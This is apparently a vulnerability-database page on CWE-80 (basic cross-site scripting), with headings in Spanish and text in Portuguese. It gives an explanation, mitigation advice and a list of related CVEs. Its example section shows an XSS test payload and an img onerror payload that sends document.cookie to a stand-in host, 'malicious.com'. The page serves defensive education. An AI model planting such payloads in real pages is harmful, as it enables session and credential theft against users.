Fallos del tipo CWE-80

646 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2023-2981LOWAbstrium Pydio Cells Chat cross site scriptingEPSS 0.7%CVE-2024-34507HIGHAn issue was discovered in includes/CommentFormatter/CommentParser.php in MediaWiki before 1.39.7, 1.40.x before 1.40.3, and 1.41.x before 1EPSS 0.7%CVE-2026-112945LOWVite: Cross origin script execution through Vite custom middlewareEPSS 0.7%CVE-2020-15788—A vulnerability has been identified in Polarion Subversion Webclient (All versions). The Polarion subversion web application does not filterEPSS 0.7%CVE-2022-20916MEDIUMCisco IoT Control Center Cross-Site Scripting VulnerabilityEPSS 0.7%CVE-2024-27306MEDIUMaiohttp vulnerable to XSS on index pages for static file handlingEPSS 0.7%CVE-2017-20027MEDIUMHumHub DOM cross site scritingEPSS 0.7%CVE-2020-7575—A vulnerability has been identified in Climatix POL908 (BACnet/IP module) (All versions), Climatix POL909 (AWM module) (All versions < V11.3EPSS 0.7%CVE-2026-52774MEDIUMReflected XSS via Unescaped `id` Parameter in Bazar Widget HTML Attributes in YesWikiEPSS 0.7%CVE-2023-33196MEDIUMCraft CMS stored XSS in review volumeEPSS 0.7%CVE-2022-1002LOWHTML Injection while inviting GuestsEPSS 0.7%CVE-2017-20096LOWWP-SpamFree Anti-Spam Plugin cross site scritingEPSS 0.6%CVE-2017-20092LOWGoogle Analytics Dashboard Plugin cross site scritingEPSS 0.6%CVE-2017-20097LOWWP-Filebase Download Manager Plugin cross site scritingEPSS 0.6%CVE-2017-20108LOWEasy Table Plugin options-general.php cross site scriptingEPSS 0.6%CVE-2020-10043—A vulnerability has been identified in SICAM MMU (All versions < V2.05), SICAM SGU (All versions), SICAM T (All versions < V2.18). The web sEPSS 0.6%CVE-2023-35157HIGHXWiki Platform vulnerable to reflected cross-site scripting via delattachment actionEPSS 0.6%CVE-2017-20140MEDIUMItech Movie Portal Script movie.php Reflected cross site scriptingEPSS 0.6%CVE-2020-5241HIGHXSS/Script injection vulnerability in matestackEPSS 0.6%CVE-2022-20654MEDIUMCisco Webex Meetings Cross-Site Scripting VulnerabilityEPSS 0.6%